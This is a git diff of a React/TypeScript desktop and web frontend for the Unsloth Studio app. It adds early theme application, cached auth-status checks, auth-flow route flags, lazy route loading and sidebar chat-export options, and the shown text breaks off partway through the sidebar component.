+// Apply the stored theme and palette before the bundle loads so the first
+// paint is never the wrong mode. Loaded as an external classic script (it
+// blocks parsing, like an inline script) because the backend CSP only
+// allows script-src 'self'.
+try {
+  // Storage reads get their own guards so a blocked localStorage (private
+  // browsing) still resolves a mode from the OS preference.
+  var theme = "system";
+  var palette = null;
+  try {
+    theme = localStorage.getItem("theme") || "system";
+    palette = localStorage.getItem("palette");
+  } catch (e) {}
+  var dark =
+    theme === "dark" ||
+    (theme !== "light" && matchMedia("(prefers-color-scheme: dark)").matches);
+  var root = document.documentElement;
+  root.classList.toggle("dark", dark);
+  root.classList.toggle("light", !dark);
+  root.style.colorScheme = dark ? "dark" : "light";
+  if (palette === "classic" || palette === "minimal") {
+    root.setAttribute("data-palette", palette);
+  }
+} catch (e) {}
diff --git a/studio/frontend/src/app/auth-guards.ts b/studio/frontend/src/app/auth-guards.ts
index 6849f380b8..a3523ac580 100644
--- a/studio/frontend/src/app/auth-guards.ts
+++ b/studio/frontend/src/app/auth-guards.ts
@@ -23,19 +23,47 @@ interface AuthStatus {
   requires_password_change: boolean;
 }
 
+const AUTH_STATUS_TTL_MS = 30_000;
+let authStatusCheckedAt = 0;
+let authStatusRequest: Promise<AuthStatus> | null = null;
+
+function hasFreshAuthStatus(): boolean {
+  return (
+    authStatusCheckedAt !== 0 &&
+    Date.now() - authStatusCheckedAt < AUTH_STATUS_TTL_MS
+  );
+}
+
 async function fetchAuthStatus(): Promise<AuthStatus> {
-  try {
-    const res = await fetch(apiUrl("/api/auth/status"));
-    if (!res.ok) return { initialized: true, requires_password_change: mustChangePassword() };
-    const status = (await res.json()) as AuthStatus;
-    // Server truth wins; keep localStorage in sync both ways.
-    if (status.requires_password_change !== mustChangePassword()) {
-      setMustChangePassword(status.requires_password_change);
+  if (authStatusRequest) return authStatusRequest;
+
+  const request = (async () => {
+    try {
+      const res = await fetch(apiUrl("/api/auth/status"));
+      if (!res.ok) {
+        return {
+          initialized: true,
+          requires_password_change: mustChangePassword(),
+        };
+      }
+      const status = (await res.json()) as AuthStatus;
+      authStatusCheckedAt = Date.now();
+      // Server truth wins; keep localStorage in sync both ways.
+      if (status.requires_password_change !== mustChangePassword()) {
+        setMustChangePassword(status.requires_password_change);
+      }
+      return status;
+    } catch {
+      return {
+        initialized: true,
+        requires_password_change: mustChangePassword(),
+      };
     }
-    return status;
-  } catch {
-    return { initialized: true, requires_password_change: mustChangePassword() };
-  }
+  })().finally(() => {
+    authStatusRequest = null;
+  });
+  authStatusRequest = request;
+  return request;
 }
 
 function authRedirect(to: "/login" | "/change-password"): never {
@@ -49,12 +77,17 @@ export async function requireAuth(): Promise<void> {
   }
 
   if (await hasActiveSession()) {
-    const { requires_password_change } = await fetchAuthStatus();
-    if (requires_password_change || mustChangePassword()) {
-      authRedirect("/change-password");
+    // Reconcile periodically so local-only routes cannot outlive a server-side
+    // password-change requirement, while nearby route switches stay local.
+    if (mustChangePassword() || !hasFreshAuthStatus()) {
+      const { requires_password_change } = await fetchAuthStatus();
+      if (requires_password_change || mustChangePassword()) {
+        authRedirect("/change-password");
+      }
     }
     return;
   }
+
   const status = await fetchAuthStatus();
   if (status.requires_password_change || mustChangePassword()) {
     authRedirect("/change-password");
diff --git a/studio/frontend/src/app/provider.tsx b/studio/frontend/src/app/provider.tsx
index 176665769d..e6c89b9cd7 100644
--- a/studio/frontend/src/app/provider.tsx
+++ b/studio/frontend/src/app/provider.tsx
@@ -1,33 +1,38 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { LlamaUpdateBanner } from "@/components/llama-update-banner";
 import { StartupScreen } from "@/components/tauri/startup-screen";
 import { UpdateBanner } from "@/components/tauri/update-banner";
 import { UpdateScreen } from "@/components/tauri/update-screen";
 import {
   WindowTitlebar,
-  shouldUseNativeMacWindowTitlebar,
   shouldUseCustomWindowTitlebar,
+  shouldUseNativeMacWindowTitlebar,
 } from "@/components/tauri/window-titlebar";
 import { Toaster } from "@/components/ui/sonner";
 import { TooltipProvider } from "@/components/ui/tooltip";
 import { WebUpdateBanner } from "@/components/web/update-banner";
-import { LlamaUpdateBanner } from "@/components/llama-update-banner";
-import { DownloadManagerPanel } from "@/features/hub/download-manager";
+import { fetchDeviceType } from "@/config/env";
 import { getTauriAuthFailure, tauriAutoAuth } from "@/features/auth";
+import { DownloadManagerPanel } from "@/features/hub/download-manager";
 import { NativeIntentDrain } from "@/features/native-intents/native-intent-drain";
-import { useTauriBackend, type BackendStatus } from "@/hooks/use-tauri-backend";
+import {
+  applyCustomizationToDocument,
+  useAppearanceCustomStore,
+  useTheme,
+} from "@/features/settings";
+import { type BackendStatus, useTauriBackend } from "@/hooks/use-tauri-backend";
 import { useTauriUpdate } from "@/hooks/use-tauri-update";
 import { isTauri } from "@/lib/api-base";
-import { fetchDeviceType } from "@/config/env";
 import { useRouterState } from "@tanstack/react-router";
-import { ThemeProvider } from "next-themes";
+import { MotionConfig } from "motion/react";
 import {
+  type CSSProperties,
+  type ReactNode,
   useEffect,
   useRef,
   useState,
-  type CSSProperties,
-  type ReactNode,
 } from "react";
 
 interface AppProviderProps {
@@ -43,10 +48,15 @@ const SETUP_WINDOW_WIDTH = 760;
 const SETUP_WINDOW_HEIGHT = 560;
 
 async function showSetupWindow(isCurrent: WindowLayoutGuard): Promise<void> {
-  const { getCurrentWindow, LogicalSize } = await import("@tauri-apps/api/window");
+  const { getCurrentWindow, LogicalSize } = await import(
+    "@tauri-apps/api/window"
+  );
+  const { invoke } = await import("@tauri-apps/api/core");
   if (!isCurrent()) return;
 
   const win = getCurrentWindow();
+  await invoke("reset_app_window_layout_initialized");
+  if (!isCurrent()) return;
   await win.setResizable(false);
   if (!isCurrent()) return;
   await win.setSize(new LogicalSize(SETUP_WINDOW_WIDTH, SETUP_WINDOW_HEIGHT));
@@ -57,7 +67,9 @@ async function showSetupWindow(isCurrent: WindowLayoutGuard): Promise<void> {
 }
 
 async function enforceMinimumWindowSize(
-  win: Awaited<ReturnType<typeof import("@tauri-apps/api/window")["getCurrentWindow"]>>,
+  win: Awaited<
+    ReturnType<typeof import("@tauri-apps/api/window")["getCurrentWindow"]>
+  >,
   LogicalSize: typeof import("@tauri-apps/api/window")["LogicalSize"],
   isCurrent: WindowLayoutGuard,
 ): Promise<void> {
@@ -76,25 +88,33 @@ async function enforceMinimumWindowSize(
   }
 }
 
-async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise<void> {
-  const { getCurrentWindow, currentMonitor, LogicalSize } = await import("@tauri-apps/api/window");
+async function applyAppWindowLayout(
+  isCurrent: WindowLayoutGuard,
+): Promise<void> {
+  const { getCurrentWindow, currentMonitor, LogicalSize } = await import(
+    "@tauri-apps/api/window"
+  );
   const { invoke } = await import("@tauri-apps/api/core");
-  const { restoreStateCurrent, StateFlags } = await import("@tauri-apps/plugin-window-state");
+  const { restoreStateCurrent, StateFlags } = await import(
+    "@tauri-apps/plugin-window-state"
+  );
   if (!isCurrent()) return;
 
   const win = getCurrentWindow();
-  // Decide first-launch vs restore from the on-disk state file BEFORE touching the
-  // window. Probing the window after restoreStateCurrent is unreliable: on GTK,
-  // set_size on a hidden window is deferred until show(), so innerSize() reads a
-  // stale value and a baseline fallback would overwrite the queued restore. On
-  // macOS the same probe works, hence the inconsistency between prior iterations.
-  const hasSavedState = await invoke<boolean>("has_saved_window_state");
+  // Setup-window activity may create plugin state before the full app is ever
+  // shown, so use a dedicated full-app marker to decide whether restoration is
+  // appropriate. Keep checking plugin state so a missing/corrupt state file
+  // falls back to a monitor-safe centered layout.
+  const [hasInitializedAppLayout, hasSavedState] = await Promise.all([
+    invoke<boolean>("has_initialized_app_window_layout"),
+    invoke<boolean>("has_saved_window_state"),
+  ]);
   if (!isCurrent()) return;
 
   await win.setResizable(true);
   if (!isCurrent()) return;
 
-  if (hasSavedState) {
+  if (hasInitializedAppLayout && hasSavedState) {
     // Subsequent launch: plugin restores size/position/maximized, with built-in
     // off-screen protection for positions saved on a now-disconnected display.
     await restoreStateCurrent(
@@ -123,9 +143,15 @@ async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise<void>
   if (!isCurrent()) return;
   // Apply constraints after restore/show: doing so before plugin restore can emit
   // a Resized event and overwrite the plugin's cached saved size.
-  await win.setSizeConstraints({ minWidth: MIN_WINDOW_WIDTH, minHeight: MIN_WINDOW_HEIGHT });
+  await win.setSizeConstraints({
+    minWidth: MIN_WINDOW_WIDTH,
+    minHeight: MIN_WINDOW_HEIGHT,
+  });
   if (!isCurrent()) return;
   await enforceMinimumWindowSize(win, LogicalSize, isCurrent);
+
+  if (!isCurrent()) return;
+  await invoke("mark_app_window_layout_initialized");
 }
 
 async function showWindowFallback(): Promise<void> {
@@ -252,9 +278,18 @@ const CUSTOM_CHROME_STYLE = {
 function TauriWrapper({ children }: { children: ReactNode }) {
   const pathname = useRouterState({ select: (s) => s.location.pathname });
   const {
-    status, logs, error, isExternalServer,
-    currentStepIndex, progressDetail, elevationPackages,
-    startInstall, retry, retryInstall, approveElevation, copyDiagnostics,
+    status,
+    logs,
+    error,
+    isExternalServer,
+    currentStepIndex,
+    progressDetail,
+    elevationPackages,
+    startInstall,
+    retry,
+    retryInstall,
+    approveElevation,
+    copyDiagnostics,
   } = useTauriBackend();
 
   const appliedWindowModeRef = useRef<TauriWindowMode | null>(null);
@@ -288,14 +323,18 @@ function TauriWrapper({ children }: { children: ReactNode }) {
 
     const layoutGeneration = windowLayoutGenerationRef.current + 1;
     windowLayoutGenerationRef.current = layoutGeneration;
-    const isCurrent = () => windowLayoutGenerationRef.current === layoutGeneration;
-    const applyWindowMode = nextMode === "setup" ? showSetupWindow : applyAppWindowLayout;
+    const isCurrent = () =>
+      windowLayoutGenerationRef.current === layoutGeneration;
+    const applyWindowMode =
+      nextMode === "setup" ? showSetupWindow : applyAppWindowLayout;
     applyWindowMode(isCurrent).catch(async () => {
       if (!isCurrent()) return;
       // On failure, at minimum make the window visible and resizable so user can fix manually.
       try {
         await showWindowFallback();
-      } catch { /* swallow — window may still be functional */ }
+      } catch {
+        /* swallow; window may still be functional */
+      }
     });
   }, [status]);
 
@@ -325,7 +364,9 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       }
     });
 
-    return () => { disposed = true; };
+    return () => {
+      disposed = true;
+    };
   }, [status, desktopAuthRetry]);
 
   useEffect(() => {
@@ -370,15 +411,20 @@ function TauriWrapper({ children }: { children: ReactNode }) {
           positioned={false}
           enabled={showInteractiveApp && !hidesTitlebarSidebar}
         />
-        {showInteractiveApp ? <DownloadManagerPanel positioned={false} /> : null}
+        {showInteractiveApp ? (
+          <DownloadManagerPanel positioned={false} />
+        ) : null}
       </TauriUpdateLayer>
       {showInteractiveApp ? <NativeIntentDrain /> : null}
       {showInteractiveApp ? children : null}
       {desktopBooting ? (
         <div className="pointer-events-none fixed inset-x-0 bottom-5 z-[9999] flex justify-center px-4">
           <div className="absolute inset-x-4 bottom-16 mx-auto flex max-w-[520px] flex-col items-center gap-2 rounded-2xl border border-border/70 bg-background/95 px-6 py-5 text-center shadow-xl">
-            <div className="font-medium text-sm">Preparing Studio</div>
-            <div className="text-muted-foreground text-xs">The local backend is ready. Signing in to your desktop session before loading chats.</div>
+            <div className="font-medium text-sm">Preparing Unsloth</div>
+            <div className="text-muted-foreground text-xs">
+              The local backend is ready. Signing in to your desktop session
+              before loading chats.
+            </div>
           </div>
           <div className="rounded-full border border-border/70 bg-background/95 px-4 py-2 text-xs text-muted-foreground shadow-lg">
             Signing in to desktop session...
@@ -416,9 +462,9 @@ function TauriWrapper({ children }: { children: ReactNode }) {
           }
           style={MAC_NATIVE_CHROME_STYLE}
         >
-          {(!showApp || hidesTitlebarSidebar) ? (
+          {!showApp || hidesTitlebarSidebar ? (
             <div
-              data-tauri-drag-region
+              data-tauri-drag-region={true}
               aria-hidden="true"
               className="pointer-events-auto fixed inset-x-0 top-0 z-50 h-[var(--studio-mac-titlebar-height,34px)] select-none"
             />
@@ -428,13 +474,10 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       );
     }
 
-    return (
-      <>{content}</>
-    );
+    return <>{content}</>;
   }
 
-  const showSidebarSurface =
-    showApp && !hidesTitlebarSidebar;
+  const showSidebarSurface = showApp && !hidesTitlebarSidebar;
 
   return (
     <div
@@ -442,20 +485,40 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       style={CUSTOM_CHROME_STYLE}
     >
       <WindowTitlebar showSidebarSurface={showSidebarSurface} />
-      <div className="h-full min-h-0 overflow-hidden">
-        {content}
-      </div>
+      <div className="h-full min-h-0 overflow-hidden">{content}</div>
     </div>
   );
 }
 
+/**
+ * Mirrors the appearance customization store onto <html> (inline CSS vars,
+ * classes, attributes). Colors are per resolved light/dark mode, so re-apply
+ * whenever either the customization or the resolved theme changes.
+ */
+function AppearanceCustomizationEffect() {
+  const { resolved } = useTheme();
+  const customization = useAppearanceCustomStore((s) => s.customization);
+  useEffect(() => {
+    applyCustomizationToDocument(customization, resolved);
+  }, [customization, resolved]);
+  return null;
+}
+
+const REDUCED_MOTION_MAP = {
+  system: "user",
+  on: "always",
+  off: "never",
+} as const;
+
 export function AppProvider({ children }: AppProviderProps) {
+  const reduceMotion = useAppearanceCustomStore(
+    (s) => s.customization.reduceMotion,
+  );
   return (
-    <ThemeProvider attribute="class" defaultTheme="system" enableSystem>
+    <MotionConfig reducedMotion={REDUCED_MOTION_MAP[reduceMotion]}>
       <TooltipProvider>
-        <TauriWrapper>
-          {children}
-        </TauriWrapper>
+        <AppearanceCustomizationEffect />
+        <TauriWrapper>{children}</TauriWrapper>
         <Toaster
           position="top-right"
           visibleToasts={2}
@@ -465,6 +528,6 @@ export function AppProvider({ children }: AppProviderProps) {
           offset={{ top: 12, right: 64 }}
         />
       </TooltipProvider>
-    </ThemeProvider>
+    </MotionConfig>
   );
 }
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index 8c6ddd197a..7137fd6f96 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -16,6 +16,8 @@ import {
   type ChatSearch,
 } from "@/features/chat";
 import { RemoteCodeConsentDialog } from "@/features/security";
+import { HfTokenWarningDialog } from "@/features/hf-auth";
+import { TransformersUpgradeDialog } from "@/features/transformers-upgrade";
 import { useTrainingUnloadGuard } from "@/features/training";
 import { useExportRuntimeLifecycle } from "@/features/export";
 import { hasAuthToken } from "@/features/auth";
@@ -44,6 +46,7 @@ declare module "@tanstack/react-router" {
   interface StaticDataRouteOption {
     title?: string;
     titleKey?: TranslationKey;
+    isAuthFlow?: boolean;
   }
 }
 
@@ -103,6 +106,9 @@ function RootLayout() {
   const t = useT();
   const pathname = useRouterState({ select: (s) => s.location.pathname });
   const hideNavbar = HIDDEN_NAVBAR_ROUTES.includes(pathname);
+  const isAuthFlowRoute = useMatches({
+    select: (matches) => matches.some((match) => match.staticData.isAuthFlow),
+  });
   // Exact match: a prefix would treat /chatty as chat, hiding its not-found UI.
   const isChatRoute = pathname === "/chat";
   const { pinned, setPinned, togglePinned } = useSidebarPin();
@@ -161,7 +167,8 @@ function RootLayout() {
   });
 
   const settingsDialogOpen = useSettingsDialogStore((s) => s.open);
-  const documentTitle = settingsDialogOpen ? t("settings.title") : matchedTitle;
+  const documentTitle =
+    settingsDialogOpen && !isAuthFlowRoute ? t("settings.title") : matchedTitle;
 
   useLayoutEffect(() => {
     document.title = documentTitle
@@ -170,9 +177,13 @@ function RootLayout() {
   }, [documentTitle]);
 
   useEffect(() => {
+    if (isAuthFlowRoute) {
+      useSettingsDialogStore.getState().closeDialog();
+    }
     const handler = (e: KeyboardEvent) => {
       if (e.defaultPrevented) return;
       if ((e.metaKey || e.ctrlKey) && e.key === ",") {
+        if (isAuthFlowRoute) return;
         e.preventDefault();
         useSettingsDialogStore.getState().openDialog();
         return;
@@ -185,9 +196,6 @@ function RootLayout() {
         chatRuntime.setActiveThreadId(null);
         chatRuntime.setActiveProjectId(null);
         chatRuntime.setIncognito(false);
-        // Detach the staging UI but keep any in-flight download running, like Hub.
-        if (chatRuntime.pendingSelection)
-          chatRuntime.abandonStagedModel({ keepDownload: true });
         void navigate({
           to: "/chat",
           search: { new: crypto.randomUUID() },
@@ -196,7 +204,7 @@ function RootLayout() {
     };
     window.addEventListener("keydown", handler);
     return () => window.removeEventListener("keydown", handler);
-  }, [navigate]);
+  }, [isAuthFlowRoute, navigate]);
 
   useEffect(() => {
     if (isChatRoute) return;
@@ -210,17 +218,15 @@ function RootLayout() {
     chatRuntime.setActiveProjectId(null);
     chatRuntime.setActiveThreadId(null);
     chatRuntime.setIncognito(false);
-    // Leaving chat must not kill an in-flight download: detach the staging UI
-    // but keep the transfer running in the manager, like a Hub download.
-    if (chatRuntime.pendingSelection)
-      chatRuntime.abandonStagedModel({ keepDownload: true });
   }, [isChatRoute]);
 
   return (
     <AppProvider>
       <PersonalizationSyncMount />
-      <SettingsDialog />
+      {!isAuthFlowRoute && <SettingsDialog />}
+      <HfTokenWarningDialog />
       <RemoteCodeConsentDialog />
+      <TransformersUpgradeDialog />
       {hideNavbar ? (
         <main className="flex-1 pt-[var(--studio-hidden-route-top-inset,0px)] [--studio-titlebar-height:var(--studio-hidden-route-top-inset,0px)]">
           <Suspense fallback={<RouteFallback />}>
@@ -268,7 +274,7 @@ function RootLayout() {
                     initial={{ opacity: 0 }}
                     animate={{ opacity: 1 }}
                     exit={{ opacity: 0 }}
-                    transition={{ duration: 0.15 }}
+                    transition={{ duration: 0.06 }}
                     className="flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-visible"
                   >
                     <Suspense fallback={<RouteFallback />}>
diff --git a/studio/frontend/src/app/routes/change-password.tsx b/studio/frontend/src/app/routes/change-password.tsx
index 55c8ceaa9c..beaf7ef60b 100644
--- a/studio/frontend/src/app/routes/change-password.tsx
+++ b/studio/frontend/src/app/routes/change-password.tsx
@@ -15,7 +15,7 @@ const ChangePasswordPage = lazy(() =>
 export const Route = createRoute({
   getParentRoute: () => rootRoute,
   path: "/change-password",
-  staticData: { title: "Change Password" },
+  staticData: { title: "Change Password", isAuthFlow: true },
   beforeLoad: () => requirePasswordChangeFlow(),
   component: ChangePasswordPage,
 });
diff --git a/studio/frontend/src/app/routes/data-recipes.tsx b/studio/frontend/src/app/routes/data-recipes.tsx
index c35e63da5f..22f87821af 100644
--- a/studio/frontend/src/app/routes/data-recipes.tsx
+++ b/studio/frontend/src/app/routes/data-recipes.tsx
@@ -1,15 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { createRoute } from "@tanstack/react-router";
-import { lazy } from "react";
+import { createRoute, lazyRouteComponent } from "@tanstack/react-router";
 import { requireAuth } from "../auth-guards";
 import { Route as rootRoute } from "./__root";
 
-const DataRecipesPage = lazy(() =>
-  import("@/features/data-recipes").then((m) => ({
-    default: m.DataRecipesPage,
-  })),
+const DataRecipesPage = lazyRouteComponent(
+  () => import("@/features/data-recipes"),
+  "DataRecipesPage",
 );
 
 export const Route = createRoute({
diff --git a/studio/frontend/src/app/routes/export.tsx b/studio/frontend/src/app/routes/export.tsx
index 40118c6a92..5a7b586f19 100644
--- a/studio/frontend/src/app/routes/export.tsx
+++ b/studio/frontend/src/app/routes/export.tsx
@@ -1,15 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { createRoute } from "@tanstack/react-router";
-import { lazy } from "react";
+import { createRoute, lazyRouteComponent } from "@tanstack/react-router";
 import { requireAuth } from "../auth-guards";
 import { Route as rootRoute } from "./__root";
 
-const ExportPage = lazy(() =>
-  import("@/features/export/export-page").then((m) => ({
-    default: m.ExportPage,
-  })),
+const ExportPage = lazyRouteComponent(
+  () => import("@/features/export/export-page"),
+  "ExportPage",
 );
 
 export type ExportSearch = {
diff --git a/studio/frontend/src/app/routes/hub.tsx b/studio/frontend/src/app/routes/hub.tsx
index c623ef9848..2207490e44 100644
--- a/studio/frontend/src/app/routes/hub.tsx
+++ b/studio/frontend/src/app/routes/hub.tsx
@@ -1,15 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { createRoute } from "@tanstack/react-router";
-import { lazy } from "react";
+import { createRoute, lazyRouteComponent } from "@tanstack/react-router";
 import { requireAuth } from "../auth-guards";
 import { Route as rootRoute } from "./__root";
 
-const ModelsPage = lazy(() =>
-  import("@/features/hub/hub-page").then((m) => ({
-    default: m.ModelsPage,
-  })),
+const ModelsPage = lazyRouteComponent(
+  () => import("@/features/hub/hub-page"),
+  "ModelsPage",
 );
 
 export interface ModelsSearch {
@@ -31,7 +29,11 @@ export const Route = createRoute({
     const model = search.model;
     if (typeof model === "string" && model.length > 0) next.model = model;
     const section = search.section;
-    if (section === "trending" || section === "latest" || section === "finetune") {
+    if (
+      section === "trending" ||
+      section === "latest" ||
+      section === "finetune"
+    ) {
       next.section = section;
     }
     const kind = search.kind;
diff --git a/studio/frontend/src/app/routes/login.tsx b/studio/frontend/src/app/routes/login.tsx
index bfd1b82132..756e826a83 100644
--- a/studio/frontend/src/app/routes/login.tsx
+++ b/studio/frontend/src/app/routes/login.tsx
@@ -13,7 +13,7 @@ const LoginPage = lazy(() =>
 export const Route = createRoute({
   getParentRoute: () => rootRoute,
   path: "/login",
-  staticData: { title: "Login" },
+  staticData: { title: "Login", isAuthFlow: true },
   beforeLoad: () => requireGuest(),
   component: LoginPage,
 });
diff --git a/studio/frontend/src/app/routes/onboarding.tsx b/studio/frontend/src/app/routes/onboarding.tsx
index 6c31d794ba..bdac4162b0 100644
--- a/studio/frontend/src/app/routes/onboarding.tsx
+++ b/studio/frontend/src/app/routes/onboarding.tsx
@@ -17,7 +17,7 @@ const WizardLayout = lazy(() =>
 export const Route = createRoute({
   getParentRoute: () => rootRoute,
   path: "/onboarding",
-  staticData: { title: "Onboarding" },
+  staticData: { title: "Onboarding", isAuthFlow: true },
   beforeLoad: () => requireAuth(),
   validateSearch: (search: Record<string, unknown>): OnboardingSearch => ({
     redirectTo: typeof search.redirectTo === "string" ? search.redirectTo : undefined,
diff --git a/studio/frontend/src/app/routes/projects.tsx b/studio/frontend/src/app/routes/projects.tsx
index c63b1d5838..17f58ef631 100644
--- a/studio/frontend/src/app/routes/projects.tsx
+++ b/studio/frontend/src/app/routes/projects.tsx
@@ -1,15 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { createRoute } from "@tanstack/react-router";
-import { lazy } from "react";
+import { createRoute, lazyRouteComponent } from "@tanstack/react-router";
 import { requireAuth } from "../auth-guards";
 import { Route as rootRoute } from "./__root";
 
-const ProjectsPage = lazy(() =>
-  import("@/features/chat/projects-page").then((m) => ({
-    default: m.ProjectsPage,
-  })),
+const ProjectsPage = lazyRouteComponent(
+  () => import("@/features/chat/projects-page"),
+  "ProjectsPage",
 );
 
 export const Route = createRoute({
diff --git a/studio/frontend/src/app/routes/studio.tsx b/studio/frontend/src/app/routes/studio.tsx
index ae7f445e94..798044bf64 100644
--- a/studio/frontend/src/app/routes/studio.tsx
+++ b/studio/frontend/src/app/routes/studio.tsx
@@ -1,15 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { createRoute } from "@tanstack/react-router";
-import { lazy } from "react";
+import { createRoute, lazyRouteComponent } from "@tanstack/react-router";
 import { requireAuth } from "../auth-guards";
 import { Route as rootRoute } from "./__root";
 
-const StudioPage = lazy(() =>
-  import("@/features/studio/studio-page").then((m) => ({
-    default: m.StudioPage,
-  })),
+const StudioPage = lazyRouteComponent(
+  () => import("@/features/studio/studio-page"),
+  "StudioPage",
 );
 
 export const Route = createRoute({
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index fb1a1fc9c7..a6f64243ad 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -45,6 +45,7 @@ import { Spinner } from "@/components/ui/spinner";
 import { Switch } from "@/components/ui/switch";
 import { useAnimatedThemeToggle } from "@/components/ui/animated-theme-toggler";
 import {
+  getClientPlatform,
   shouldUseCustomWindowTitlebar,
   shouldUseNativeMacWindowTitlebar,
 } from "@/components/tauri/window-titlebar";
@@ -55,7 +56,10 @@ import {
   Archive03Icon,
   ArrowRight02Icon,
   BadgeInfoIcon,
+  BubbleChatIcon,
   ChefHatIcon,
+  CloudIcon,
+  CpuIcon,
   CursorInfo02Icon,
   DashboardCircleIcon,
   Delete02Icon,
@@ -68,7 +72,9 @@ import {
   Globe02Icon,
   HelpCircleIcon,
   Logout05Icon,
+  Message01Icon,
   MoreVerticalIcon,
+  PaintBrush02Icon,
   Search01Icon,
   PinIcon,
   PinOffIcon,
@@ -79,14 +85,9 @@ import {
   Settings02Icon,
   Sun03Icon,
   TestTube01Icon,
+  UserIcon,
   ZapIcon,
 } from "@hugeicons/core-free-icons";
-import {
-  exportConversationRawJsonl,
-  exportConversationCsv,
-  exportConversationShareGPT,
-} from "@/features/chat/prompt-storage/prompt-storage-dialog";
-import { listStoredChatThreads } from "@/features/chat/utils/chat-history-storage";
 import {
   Tooltip,
   TooltipContent,
@@ -94,7 +95,12 @@ import {
 import { Tooltip as TooltipPrimitive } from "radix-ui";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { ChevronDown, Moon } from "lucide-react";
-import { Link, useNavigate, useRouterState } from "@tanstack/react-router";
+import {
+  Link,
+  useNavigate,
+  useRouter,
+  useRouterState,
+} from "@tanstack/react-router";
 import {
   archiveChatItem,
   ChatSearchDialog,
@@ -102,7 +108,9 @@ import {
   createChatProject,
   deleteChatProject,
   deleteChatItem,
+  listStoredChatThreads,
   moveChatItemToProject,
+  notifyChatHistoryUpdated,
   renameChatItem,
   renameChatProject,
   useChatRuntimeStore,
@@ -110,11 +118,15 @@ import {
   useChatSearchStore,
   useChatSidebarItems,
   usePinnedChatsStore,
+  usePinnedProjectsStore,
   useChatPreferencesStore,
   type ProjectRecord,
   type SidebarItem,
 } from "@/features/chat";
-import { useSettingsDialogStore } from "@/features/settings";
+import {
+  useAppearanceCustomStore,
+  useSettingsDialogStore,
+} from "@/features/settings";
 import { useEffectiveProfile, UserAvatar } from "@/features/profile";
 import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { clearAuthTokens, logout } from "@/features/auth";
@@ -132,7 +144,15 @@ import {
 } from "@/features/training";
 import type { TrainingRunSummary } from "@/features/training";
 import { useExportRuntimeStore } from "@/features/export";
-import { useEffect, useMemo, useRef, useState, type ReactNode } from "react";
+import {
+  Fragment,
+  useEffect,
+  useMemo,
+  useRef,
+  useState,
+  type ReactNode,
+} from "react";
+import { isDownloadCancelled } from "@/lib/native-files";
 import { toast } from "@/lib/toast";
 import { ShutdownDialog } from "@/components/shutdown-dialog";
 import { translate, useT, type TranslationKey } from "@/i18n";
@@ -167,6 +187,19 @@ function getTourId(pathname: string): string | null {
   return null;
 }
 
+// Optional user-menu shortcuts that jump straight to a settings tab; the id
+// doubles as the settings dialog tab id.
+const SETTINGS_TAB_MENU_ITEMS: Record<
+  "profile" | "appearance" | "resources" | "chat" | "connections",
+  { icon: typeof ZapIcon; labelKey: TranslationKey }
+> = {
+  profile: { icon: UserIcon, labelKey: "settings.tabs.profile" },
+  appearance: { icon: PaintBrush02Icon, labelKey: "settings.tabs.appearance" },
+  resources: { icon: CpuIcon, labelKey: "settings.tabs.resources" },
+  chat: { icon: Message01Icon, labelKey: "settings.tabs.chat" },
+  connections: { icon: CloudIcon, labelKey: "settings.tabs.connections" },
+};
+
 // TestTube01Icon's last 2 paths are interior bubbles; slice to the first
 // 3 (outline + cap + liquid line) to drop them. Original export untouched.
 const TestTubeOutlineIcon = TestTube01Icon.slice(
@@ -174,6 +207,39 @@ const TestTubeOutlineIcon = TestTube01Icon.slice(
   3,
 ) as typeof TestTube01Icon;
 
+
+type ConversationExportFormat = "raw-jsonl" | "csv" | "sharegpt-jsonl";
+
+// A pinned project shows this many recent chats before "Show more".
+const PINNED_PROJECT_CHAT_LIMIT = 4;
+
+const CHAT_EXPORT_OPTIONS: Array<{
+  label: string;
+  format: ConversationExportFormat;
+}> = [
+  { label: "Raw JSONL", format: "raw-jsonl" },
+  { label: "CSV", format: "csv" },
+  { label: "ShareGPT JSONL", format: "sharegpt-jsonl" },
+];
+
+async function exportConversationByFormat(
+  threadId: string,
+  format: ConversationExportFormat,
+): Promise<void> {
+  const exports = await import(
+    "@/features/chat/prompt-storage/prompt-storage-dialog"
+  );
+  switch (format) {
+    case "raw-jsonl":
+      return exports.exportConversationRawJsonl(threadId);
+    case "csv":
+      return exports.exportConversationCsv(threadId);
+    case "sharegpt-jsonl":
+      return exports.exportConversationShareGPT(threadId);
+  }
+}
+
+
 function runStatusDotClass(status: TrainingRunSummary["status"]): string {
   switch (status) {
     case "running":
@@ -210,6 +276,10 @@ function createNavigationNonce(): string {
   return `${Date.now()}-${Math.random().toString(36).slice(2, 10)}`;
 }
 
+function preloadSilently(request: Promise<unknown>): void {
+  void request.catch(() => undefined);
+}
+
 function NavItem({
   icon,
